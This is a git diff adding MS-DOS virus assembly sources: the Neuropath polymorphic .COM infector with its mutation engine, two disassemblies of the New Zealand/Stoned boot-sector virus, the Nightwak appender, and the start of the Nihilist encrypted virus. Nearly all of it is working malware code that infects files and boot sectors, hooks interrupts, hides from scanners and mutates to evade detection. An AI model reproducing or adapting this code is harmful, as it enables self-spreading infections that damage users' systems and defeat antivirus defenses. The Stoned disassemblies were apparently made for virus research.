Cx,0 + Lea Di,0 + DB 80h,35h + Inc Di + + Db '[ ' +Encr0 Db 'John Tardy' +Encr0Len Equ $-Encr0 + + Db ' / Trident' + Db ' ]' + +getdta: pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS + cmp al,0 + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 + jne FCBOk + add bx,8 +FCBOk: mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ch],Virlen + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLen + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + + Db '| Trapped in a spell of the Necromonicon |' + +dos: pushf + call dword ptr cs:[old21] + ret + +Org_prg dw 0cd90h + db 20h + +fnam db 8 dup (0) + db '.' + db 3 dup (0) + db 0 +fatr dw 0 +fdat dw 0,0 + + +jump db 0e9h,0,0 + +ResLen Equ ($-Decr)/10h + +ParLen Equ (Reslen*2)+10h + +CryptLen Equ $-Crypt + +VirLen Equ $-Decr + +Coder Equ $ diff --git a/n/NEURO.ASM b/n/NEURO.ASM new file mode 100755 index 0000000..bbc010e --- /dev/null +++ b/n/NEURO.ASM @@ -0,0 +1,286 @@ +; ========================================================================> +; [Neuropath] by MnemoniX 1994 +; +; * Memory resident .COM infector +; * Polymorphic (engine in neuroeng.asm - lame but effective) +; * Anti-SCAN and CLEAN stealth technique - creates hidden file in +; root directory; when SCAN or CLEAN is run all attempts to open .COM +; files are redirected to hidden file, and they all come out clean. +; ========================================================================> + +code segment + org 0 + assume cs:code + +start: + db 0E9h,0,0 + +virus_begin: + call $ + 3 + pop bp + sub bp,offset $ - 1 + + mov ah,3Ch + mov cx,2 + lea dx,[bp + dummy_file] ; create dummy file + int 21h + + mov ah,3Eh + int 21h + +install: + mov ax,5786h + int 21h + + push ds es + + mov ax,ds + dec ax + mov ds,ax + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupt 21 + mov ds,ax + + mov si,21h * 4 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr [si - 4],offset new_int_21 + mov [si - 2],es + + pop es ds + jmp install + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,5786h + je restore_host + + cmp ah,4Ch + je terminate + + cmp ah,3Dh + je file_open + + not ax + cmp ax,0B4FFh + je execute +int_21_4B_exit: + not ax + +int_21_exit: + db 0EAh +old_int_21 dd 0 + +restore_host: + pop ax + pop ax + + push ds + mov di,0FEFFh + not di + + lea si,[bp + host] + push di + movsw + movsb + + iret + +terminate: + mov cs:McAffee_alert,0 + jmp int_21_exit + +file_open: + cmp cs:McAffee_alert,1 + jne int_21_exit + + push ax si + mov si,dx + +find_ext: + lodsb + cmp al,'.' + je ext_found + test al,al + je not_com + jmp find_ext + +ext_found: + cmp ds:[si],'OC' ; .COM? + jne not_com + cmp byte ptr ds:[si + 2],'M' + jne not_com + + pop si ax + push ds dx + + push cs + pop ds + mov dx,offset dummy_file + call int_21 + + pop dx ds + retf 2 +not_com: + pop si ax + jmp int_21_exit + +execute: + push ax si + mov si,dx + +find_ext_2: + lodsb + cmp al,'.' + je ext_found_2 + test al,al + je no_scan + jmp find_ext_2 +ext_found_2: + cmp ds:[si],'XE' ; check for SCAN.EXE + jne no_scan + cmp ds:[si - 3],'NA' + jne no_scan + cmp ds:[si - 5],'CS' + jne perhaps_clean +mcaffee_on: + pop si ax + mov cs:McAffee_alert,1 ; McAffee alert! + jmp int_21_4B_exit + +perhaps_clean: + cmp ds:[si - 5],'EL' ; check for CLEAN.EXE + jne no_scan + cmp byte ptr ds:[si - 6],'C' + je mcaffee_on +no_scan: + pop si ax + push ax bx cx dx si di bp ds es + + mov ax,3D00h + call int_21 + jnc check_out + jmp cant_open +check_out: + xchg ax,bx + + push cs + pop ds + + push bx + mov ax,ds:sft_1 + int 2Fh + + mov ax,ds:sft_2 + mov bl,es:[di] + int 2Fh + pop bx + + mov word ptr es:[di + 2],2 + + mov ax,es:[di + 0Dh] + and al,31 + cmp al,24 ; marker is 24 + je dont_infect + + mov ah,ds:file_read ; anti-TBSCAN + mov dx,offset host + mov cx,3 + call int_21 + + mov ax,word ptr ds:host + sub ax,'ZM' + je dont_infect + + mov ax,es:[di + 11h] ; file size + cmp ax,65278 - VIRUS_SIZE + jae dont_infect + + mov es:[di + 15h],ax + sub ax,3 + mov word ptr ds:new_jump + 1,ax + + push es di bx + add ax,103h + xchg dx,ax + mov cx,VIRUS_SIZE + mov si,offset virus_begin + mov di,offset encrypt_buffer + + push cs + pop es + + call engine + pop bx di es + + mov dx,offset encrypt_buffer + call write_it + + mov word ptr es:[di + 15h],0 + mov cx,3 + mov dx,offset new_jump + call write_it + +dont_infect: + mov ax,ds:set_date ; anti-TBSCAN + mov cx,es:[di + 0Dh] + mov dx,es:[di + 0Fh] + and cl,-32 + or cl,24 + call int_21 + + mov ah,3Eh + call int_21 +cant_open: + pop es ds bp di si dx cx bx ax + jmp int_21_4B_exit + +write_it: + mov ah,ds:file_write ; anti-TBSCAN + call int_21 + ret + + db '[Neuropath] MnemoniX',0 + +dummy_file db '\',-1,-1,0 ; 2 ASCII 255s + + include neuroeng.asm + +McAffee_alert db 0 +host db 0CDh,20h,0 +new_jump db 0E9h,0,0 + +set_date dw 5701h +file_read db 3Fh +file_write db 40h +sft_1 dw 1220h +sft_2 dw 1216h + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin + +encrypt_buffer db VIRUS_SIZE + 1000 dup (?) + +heap_end: + +MEM_SIZE equ heap_end - start + +code ends + end start diff --git a/n/NEUROENG.ASM b/n/NEUROENG.ASM new file mode 100755 index 0000000..651320a --- /dev/null +++ b/n/NEUROENG.ASM @@ -0,0 +1,284 @@ +; Neurotic Mutation Engine v1.00 for Neuropath +; by MnemoniX 1994 + +engine proc near + call randomize + +get_reg_1: + mov ax,7 ; counter register + call _random + inc ax + cmp al,4 + je get_reg_1 + cmp al,5 + ja get_reg_1 + mov ds:reg_1,al + + push di ; save this + + push ax + call garbage_dump ; crap + pop ax + + add al,0B8h ; store MOV instruction + stosb + mov ax,cx + stosw + + call garbage_dump ; more crap + + mov al,0BFh + stosb + push di ; use this later + stosw + + call garbage_dump ; even more crap + + mov ax,0F78Bh + stosw + + push di ; use this later too + call garbage_dump ; more crap + + mov al,0ADh ; a LODSW + stosb + + call garbage_dump ; yet more crap + + mov al,2 + call _random + test al,al + je add_it + + mov al,35h + mov bl,al + je decryptor +add_it: + mov al,5 + mov bl,2Dh +decryptor: + stosb + mov ds:encrypt_act,bl ; for encryption + + mov ax,-1 + call _random + stosw + mov ds:encrypt_key,ax ; for encryption + + call garbage_dump ; just pilin' on the crap + + mov al,0ABh ; a STOSW + stosb + + call garbage_dump ; the crap continues ... + + mov al,ds:reg_1 ; decrement counter + add al,48h + mov ah,9Ch ; and a PUSHF + stosw + + call garbage_dump ; C-R-A-P ... + + mov ax,749Dh ; a POPF and JZ + stosw + mov ax,4 + call _random ; use later + mov bx,ax + add al,3 + stosb + + mov al,0E9h ; a JMP + stosb + pop ax ; use LODSW offset + sub ax,di + dec ax + dec ax + stosw + + add di,bx ; fix up DI + + pop bx ; now fix up offset value + pop bp + sub bp,di + neg bp + push bp ; size of decryptor - for l8r + add bp,dx + mov es:[bx],bp + + push cx + + push si + mov si,offset one_byters ; swap one-byte instructions + mov ax,7 ; around for variety + call _random + mov bx,ax + mov al,7 + call _random + mov ah,[bx+si] + mov bl,al + mov [bx+si],ah + pop si + +; now we encrypt +encrypt_it: + lodsw +encrypt_act db 0 +encrypt_key dw 0 + stosw + loop encrypt_it + + pop cx + pop dx + add cx,dx + ret + +reg_1 db 0 + +rnd_seed_1 dw 0 +rnd_seed_2 dw 0 + + +garbage_dump: + mov ax,7 ; garbage instructions + call _random + add ax,5 + push cx + mov cx,ax +dump_it: +; El Basurero - "The GarbageMan" + mov ax,8 + call _random + cmp al,2 + jb next_one + je garbage_1 ; a MOV ??,AX + cmp al,3 + je garbage_2 ; operate ??,AX + cmp al,4 + je garbage_3 ; CMP or TEST AX/AL,?? + cmp al,5 ; a few little instructions + jae garbage_4 +next_one: + loop dump_it + pop cx + ret + +garbage_1: + mov al,8Bh + stosb + call get_mov_reg + shl ax,1 + shl ax,1 + shl ax,1 + add al,0C0h + stosb + jmp next_one + +garbage_2: + mov al,8 + call _random + shl ax,1 + shl ax,1 + shl ax,1 + add al,3 + stosb + call get_mov_reg + shl ax,1 + shl ax,1 + shl ax,1 + add al,0C0h + stosb + jmp next_one + +garbage_3: + mov al,2 + call _random + test al,al + je a_cmp + mov al,0A9h + jmp storage +a_cmp: + mov al,3Dh +storage: + stosb + mov ax,-1 + call _random + stosw + jmp next_one + +garbage_4: + push cx + mov ax,4 + call _random + add ax,3 + mov cx,ax + push si + mov bx,offset one_byters +filler_loop: + mov ax,8 + call _random + cmp al,7 + je make_inc_dec + mov si,ax + mov al,[bx+si] +proceed: + stosb + loop filler_loop + + pop si cx + jmp next_one + +make_inc_dec: + call get_mov_reg + add al,40h + jmp proceed + +get_mov_reg: + mov ax,8 + call _random + test al,al + je get_mov_reg + cmp al,4 + je get_mov_reg + cmp al,5 + ja get_mov_reg + cmp al,reg_1 + je get_mov_reg + ret + +one_byters: + db 0CCh + stc + clc + cmc + sti + nop + cld + +randomize: + push cx dx + xor ah,ah + int 1Ah + mov rnd_seed_1,dx + add dx,cx + mov rnd_seed_2,dx + pop dx cx + ret + +_random: + push cx dx ax + add dx,rnd_seed_2 + add dx,17 + mov ax,dx + xor dx,dx + test ax,ax + je rnd_done + pop cx + div cx + mov ax,dx ; AX now holds our random # +rnd_done: + mov dx,rnd_seed_1 + add rnd_seed_2,dx + pop dx cx + ret + +engine endp diff --git a/n/NEWZLAND.ASM b/n/NEWZLAND.ASM new file mode 100755 index 0000000..305b75f --- /dev/null +++ b/n/NEWZLAND.ASM @@ -0,0 +1,288 @@ + page 65,132 + title The 'New Zealand' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'New Zealand' Virus +; Disassembled by Joe Hirst, November 1988 +; +; Copyright (c) Joe Hirst 1988, 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The virus consists of a boot sector only. The original boot sector + ; is kept at track zero, head one, sector three on a floppy disk, or + ; track zero, head zero, sector two on a hard disk. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; The program requires an origin address of 7C00H, as it is designed + ; to load and run as a boot sector. + +RAM SEGMENT AT 0 + + ; System data + + ORG 4CH +BW004C DW ? ; Interrupt 19 (13H) offset +BW004E DW ? ; Interrupt 19 (13H) segment + ORG 413H +BW0413 DW ? ; Total RAM size + ORG 440H +BB0440 DB ? ; Motor timeout counter + ORG 46CH +BB046C DB ? ; System clock + + ORG 7C0AH +I13_OF DW ? +I13_SG DW ? +HICOOF DW ? +HICOSG DW ? ; High core segment + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: DB 0EAH ; Far jump to next byte + DW BP0010, 07C0H + +BP0010: JMP BP0110 + +DRIVEN DB 0 ; Drive number (A=0, B=1, C=2) +DUMMY DB 0 + +; Original Int 13H address + +INT_13 EQU THIS DWORD + DW 0 + DW 0 + +; Branch address in high core + +HIGHCO EQU THIS DWORD + DW BP0120 + DW 0 + +; Boot sector processing address + +BOOTST EQU THIS DWORD + DW 07C00H + DW 0 + +; Interrupt 13H disk I/O routine + +BP0020: PUSH DS + PUSH AX + CMP AH,2 ; Sub-function 2 + JB BP0030 ; Pass on if below + CMP AH,4 ; Sub-function 4 + JNB BP0030 ; Pass on if not below + CMP DL,0 ; Is drive A + JNE BP0030 ; Pass on if not + XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + MOV AL,BB0440 ; Get motor timeout counter + OR AL,AL ; Test for zero + JNE BP0030 ; Branch if not + CALL BP0040 ; Call infection routine +BP0030: POP AX + POP DS + JMP INT_13 ; Pass control to Int 13H + +; Infection routine + +BP0040: PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ; Retry count +BP0050: MOV AX,201H ; Read one sector + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV BX,200H ; Boot sector buffer + MOV CX,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JNB BP0060 ; Branch if no error + XOR AX,AX ; Reset disk sub-system + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + DEC SI ; Decrement retry count + JNE BP0050 ; Retry + JMP BP0080 ; No more retries + +BP0060: XOR SI,SI ; Start of program + MOV DI,200H ; Boot sector buffer + MOV AX,ES:[SI] ; Get first word + CMP AX,ES:[DI] ; Test if same + JNE BP0070 ; Install if not + MOV AX,ES:[SI+2] ; Get second word + CMP AX,ES:[DI+2] ; Test if same + JNE BP0070 ; Install if not + JMP BP0080 ; Pass on + +BP0070: MOV AX,301H ; Write one sector + MOV BX,200H ; Boot sector buffer + MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Head 1, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JB BP0080 ; Branch if error + MOV AX,301H ; Write one sector + XOR BX,BX ; This sector + MOV CL,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H +BP0080: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +; Display message + +BP0090: MOV AL,CS:[BX] ; Get next message byte + INC BX ; Update pointer + CMP AL,0 ; Test for end of message + JNE BP0100 ; Branch to display + RET + +BP0100: PUSH AX + PUSH BX + MOV AH,0EH ; Write TTY mode + MOV BH,0 + INT 10H ; VDU I/O + POP BX + POP AX + JMP SHORT BP0090 ; Process next byte + +; Install in high core + +BP0110: XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + CLI + MOV SS,AX ; \ Set stack to boot sector area + MOV SP,7C00H ; / + STI + MOV AX,BW004C ; Get Int 13H offset + MOV I13_OF,AX ; Store in jump offset + MOV AX,BW004E ; Get Int 13H segment + MOV I13_SG,AX ; Store in jump segment + MOV AX,BW0413 ; Get total RAM size + DEC AX ; \ Subtract 2k + DEC AX ; / + MOV BW0413,AX ; Replace total RAM size + MOV CL,6 ; Bits to move + SHL AX,CL ; Convert to Segment + MOV ES,AX ; Set ES to segment + MOV HICOSG,AX ; Move segment to jump address + MOV AX,OFFSET BP0020 ; Get Int 13H routine address + MOV BW004C,AX ; Set new Int 13H offset + MOV BW004E,ES ; Set new Int 13H segment + MOV CX,OFFSET ENDADR ; Load length of program + PUSH CS ; \ Set DS to CS + POP DS ; / + XOR SI,SI ; \ Set pointers to zero + MOV DI,SI ; / + CLD + REPZ MOVSB ; Copy program to high core + JMP HIGHCO ; Branch to next instruc in high core + +; Continue processing in high core + +BP0120: MOV AX,0 ; Reset disk sub-system + INT 13H ; Disk I/O + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + ASSUME DS:NOTHING,ES:RAM + MOV AX,201H ; Read one sector + MOV BX,7C00H ; Boot sector buffer address + CMP DRIVEN,0 ; Test drive is A + JE BP0130 ; Branch if yes + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +; Floppy disk + +BP0130: MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Side one, drive A + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + TEST BB046C,7 ; Test low byte of time + JNZ BP0140 ; Branch if not 7 + MOV BX,OFFSET MESSAGE ; Load message address + CALL BP0090 ; Display message +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,201H ; Read one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV SI,200H ; C-disk boot sector buffer + MOV DI,0 ; Start of program + MOV AX,[SI] ; Get first word + CMP AX,[DI] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different + MOV AX,[SI+2] ; Get second word + CMP AX,[DI+2] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different +BP0150: MOV DRIVEN,0 ; Drive A + MOV DUMMY,0 + JMP BOOTST ; Pass control to boot sector + +; Install on C-disk + +BP0160: MOV DRIVEN,2 ; Drive C + MOV DUMMY,0 + MOV AX,301H ; Write one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,2 ; Track zero, sector 2 + MOV DX,80H ; side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV SI,OFFSET ENDADR+200H ; Target offset + MOV DI,OFFSET ENDADR ; Source offset + MOV CX,OFFSET 400H-ENDADR ; Length to move + REPZ MOVSB ; Copy C-disk boot sector + MOV AX,301H ; Write one sector + MOV BX,0 ; Write this sector + MOV CX,1 ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP SHORT BP0150 ; Pass control to boot sector + +MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0 + DB 'LEGALISE MARIJUANA!' + +ENDADR EQU $-1 + +CODE ENDS + + END START + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/n/NEWZLND2.ASM b/n/NEWZLND2.ASM new file mode 100755 index 0000000..fa6703f --- /dev/null +++ b/n/NEWZLND2.ASM @@ -0,0 +1,279 @@ + +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'New Zealand' Virus (Update) +; Disassembled by Joe Hirst, March 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; This disassembly is derived from an inconsistently updated + ; assembler version which arrived in this country with the original + ; executable program. + + ; The virus consists of a boot sector only. The original boot sector + ; is kept at track zero, head one, sector three on a floppy disk, or + ; track zero, head zero, sector seven on a hard disk. + + ; The program requires an origin address of 7C00H, as it is designed + ; to load and run as a boot sector. + +RAM SEGMENT AT 0 + + ; System data + + ORG 4CH +BW004C DW ? ; Interrupt 19 (13H) offset +BW004E DW ? ; Interrupt 19 (13H) segment + ORG 413H +BW0413 DW ? ; Total RAM size + ORG 43FH +BB043F DB ? ; Drive Motor Flag + ORG 46CH +BB046C DB ? ; System clock + + ORG 7C0AH +I13_OF DW ? +I13_SG DW ? +HICOOF DW ? +HICOSG DW ? ; High core segment + +RAM ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:RAM + +START: DB 0EAH ; Far jump to next byte + DW BP0010, 07C0H + +BP0010: JMP BP0110 + +DRIVEN DB 0 ; Drive number (A=0, B=1, C=2) + +; Original Int 13H address + +INT_13 EQU THIS DWORD + DW ? + DW ? + +; Branch address in high core + +HIGHCO EQU THIS DWORD + DW BP0120 + DW 0 + +; Boot sector processing address + +BOOTST EQU THIS DWORD + DW 07C00H + DW 0 + +; Interrupt 13H disk I/O routine + +BP0020: PUSH DS + PUSH AX + CMP AH,2 ; Sub-function 2 + JB BP0030 ; Pass on if below + CMP AH,4 ; Sub-function 4 + JNB BP0030 ; Pass on if not below + OR DL,DL ; Is drive A + JNZ BP0030 ; Pass on if not + XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + MOV AL,BB043F ; Get motor timeout counter + TEST AL,1 ; Is drive zero running + JNZ BP0030 ; Branch if not + CALL BP0040 ; Call infection routine +BP0030: POP AX + POP DS + JMP INT_13 ; Pass control to Int 13H + +; Infection routine + +BP0040: PUSH BX + PUSH CX + PUSH DX + PUSH ES + PUSH SI + PUSH DI + MOV SI,4 ; Retry count +BP0050: MOV AX,201H ; Read one sector + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV BX,200H ; Boot sector buffer + XOR CX,CX ; Clear register + MOV DX,CX ; Head zero, drive A + INC CX ; Track zero, sector 1 + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JNB BP0060 ; Branch if no error + XOR AX,AX ; Reset disk sub-system + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + DEC SI ; Decrement retry count + JNZ BP0050 ; Retry + JMP BP0080 ; No more retries + +BP0060: XOR SI,SI ; Start of program + MOV DI,200H ; Boot sector buffer + CLD + PUSH CS ; \ Set DS to CS + POP DS ; / + LODSW ; Get first word + CMP AX,[DI] ; Test if same + JNE BP0070 ; Install if not + LODSW ; Get second word + CMP AX,[DI+2] ; Test if same + JE BP0080 ; Branch if same +BP0070: MOV AX,301H ; Write one sector + MOV BX,200H ; Boot sector buffer + MOV CL,3 ; Sector 3 + MOV DH,1 ; Head 1 + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JB BP0080 ; Branch if error + MOV AX,301H ; Write one sector + XOR BX,BX ; This sector + MOV CL,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H +BP0080: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +; Install in high core + +BP0110: XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + CLI + MOV SS,AX ; \ Set stack to boot sector area + MOV SP,7C00H ; / + STI + MOV AX,BW004C ; Get Int 13H offset + MOV I13_OF,AX ; Store in jump offset + MOV AX,BW004E ; Get Int 13H segment + MOV I13_SG,AX ; Store in jump segment + MOV AX,BW0413 ; Get total RAM size + DEC AX ; \ Subtract 2k + DEC AX ; / + MOV BW0413,AX ; Replace total RAM size + MOV CL,6 ; Bits to move + SHL AX,CL ; Convert to Segment + MOV ES,AX ; Set ES to segment + MOV HICOSG,AX ; Move segment to jump address + MOV AX,OFFSET BP0020 ; Get Int 13H routine address + MOV BW004C,AX ; Set new Int 13H offset + MOV BW004E,ES ; Set new Int 13H segment + MOV CX,OFFSET ENDADR ; Load length of program + PUSH CS ; \ Set DS to CS + POP DS ; / + XOR SI,SI ; \ Set pointers to zero + MOV DI,SI ; / + CLD + REP MOVSB ; Copy program to high core + JMP HIGHCO ; Branch to next instruc in high core + +; Continue processing in high core + +BP0120: MOV AX,0 ; Reset disk sub-system + INT 13H ; Disk I/O + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + ASSUME DS:NOTHING,ES:RAM + MOV AX,201H ; Read one sector + MOV BX,7C00H ; Boot sector buffer address + CMP DRIVEN,0 ; Test drive is A + JE BP0130 ; Branch if yes + MOV CX,7 ; Track zero, sector 7 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +; Floppy disk + +BP0130: MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Side one, drive A + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + TEST BB046C,7 ; Test low byte of time + JNZ BP0140 ; Branch if not 7 + MOV SI,OFFSET MESSAGE ; Load message address + PUSH CS ; \ Set DS to CS + POP DS ; / +BP0135: LODSB ; Get next byte of message + OR AL,AL ; Is it zero + JZ BP0140 ; Branch if yes + MOV AH,0EH ; Write TTY mode + MOV BH,0 + INT 10H ; VDU I/O + JMP BP0135 ; Process next byte + +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,201H ; Read one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CL,1 ; Sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV SI,200H ; C-disk boot sector buffer + MOV DI,0 ; Start of program + LODSW ; Get first word + CMP AX,[DI] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different + LODSW ; Get second word + CMP AX,[DI+2] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different +BP0150: MOV DRIVEN,0 ; Drive A + JMP BOOTST ; Pass control to boot sector + +; Install on C-disk + +BP0160: MOV DRIVEN,2 ; Drive C + MOV AX,301H ; Write one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,7 ; Track zero, sector 7 + MOV DX,80H ; side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV SI,OFFSET MESS02+200H ; Target offset + MOV DI,OFFSET MESS02 ; Source offset + MOV CX,OFFSET 400H-MESS02 ; Length to move + REP MOVSB ; Copy C-disk boot sector + MOV AX,301H ; Write one sector + XOR BX,BX ; Write this sector + INC CL ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0 +MESS02 DB 'LEGALISE MARIJUANA!' +ENDADR EQU $ + +CODE ENDS + + END START + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/n/NIGHTWAK.ASM b/n/NIGHTWAK.ASM new file mode 100755 index 0000000..f7e9a65 --- /dev/null +++ b/n/NIGHTWAK.ASM @@ -0,0 +1,119 @@ +; +; Simple com appender destined to be another SillyC +; so im putting the file name in as the virus name .. nuff said +; +; Unscannable by F-Prot & by TBAV with no flags +; Uses a novel way of beating S flag +; +; Scans as a VCL/IVP variant with AVP/DSAV +; +.model tiny +.code + org 100h +begin: + db 0E9h + dw offset start-103h +start: + call delta +delta: + pop bp + sub bp,offset delta + and word ptr [begin],0 + and byte ptr [begin+2],0 + or ah,[old_bytes+bp] + or al,[old_bytes+bp+1] + or bh,[old_bytes+bp+2] + or byte ptr [begin],ah + or byte ptr [begin+1],al + or byte ptr [begin+2],bh + and byte ptr [f_string+bp],7Fh + and byte ptr [f_string+bp+1],7Fh + and byte ptr [f_string+bp+2],7Fh + and byte ptr [f_string+bp+3],7Fh + and byte ptr [f_string+bp+4],7Fh + mov dh,1ah + lea ax,[bp+offset dta] + xchg ax,dx + int 21h + mov dh,4eh +find_next: + xor cx,cx + lea ax,[bp+offset f_string] + xchg ax,dx + int 21h + jc done2 + mov cl,[dta+1ah+bp] + mov ch,[dta+1bh+bp] + sub cx,3 + mov [new_bytes+1+bp],cl + mov [new_bytes+2+bp],ch + mov dx,3D02h + lea ax,[bp+offset dta+1Eh] + xchg ax,dx + int 21h + xchg ax,bx + mov dh,3fh + mov cx,3 + lea ax,[bp+offset old_bytes] + xchg ax,dx + int 21h + cmp [bp+old_bytes],0E9h + jne okay + mov ah,3eh + int 21h + mov dh,4fh + jmp find_next +done2: + jmp done +okay: + mov dx,4200h + xor cx,cx + xor ax,ax + xchg ax,dx + int 21h + mov dh,40h + mov cx,3 + lea ax,[bp+offset new_bytes] + xchg ax,dx + and byte ptr [n1+bp+1],7fh +n1: + int 0A1h + mov byte ptr [n1+bp+1],0A1h + mov dx,4202h + xor cx,cx + xor ax,ax + xchg ax,dx + int 21h + mov dh,40h + mov cx, offset theend - offset start + 56 + or byte ptr [f_string+bp],80h + or byte ptr [f_string+bp+1],80h + or byte ptr [f_string+bp+2],80h + or byte ptr [f_string+bp+3],80h + or byte ptr [f_string+bp+4],80h + lea ax,[bp+offset start] + xchg ax,dx + and byte ptr [n2+bp+1],7fh +n2: + int 0A1h + mov ah,3Eh + int 21h +done: + mov ax,101h + xor bx,bx + xchg ax,bx + xor cx,cx + dec bx + xor dx,dx + push bx + xor bp,bp + xor bx,bx + ret +;danke db 'Nightwak' +theend: +.data +old_bytes db 0c3h,90h,90h +new_bytes db 0E9h, 2 dup (0) +dta db 42 dup(0) +f_string db '*'+80h,'.'+80h,'c'+80h,'o'+80h,'m'+80h,0,0 + end begin diff --git a/n/NIHILIST.ASM b/n/NIHILIST.ASM new file mode 100755 index 0000000..747d865 --- /dev/null +++ b/n/NIHILIST.ASM @@ -0,0 +1,473 @@ +; nihilist.asm : [Nihilist] +; Created with Biological Warfare - Version 0.90 by MnemoniX + +PING equ 0D86Bh +PONG equ 043C4h +STAMP equ 25 +MARKER equ 0F0FFh + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + + mov dx,VIRUS_SIZE / 2 + 1 + db 0BBh ; decryption module +code_offset dw offset virus_code + +decrypt: + db 02Eh,081h,37h ; XOR CS:[BX] +cipher dw 0 + inc bx + inc bx + dec dx + jnz decrypt + + +virus_code: + push ds es + + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + xor ax,ax ; mild anti-trace code + mov es,ax ; kill interrupts 1 & 3 + mov di,6 + stosw + mov di,14 + stosw + + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + 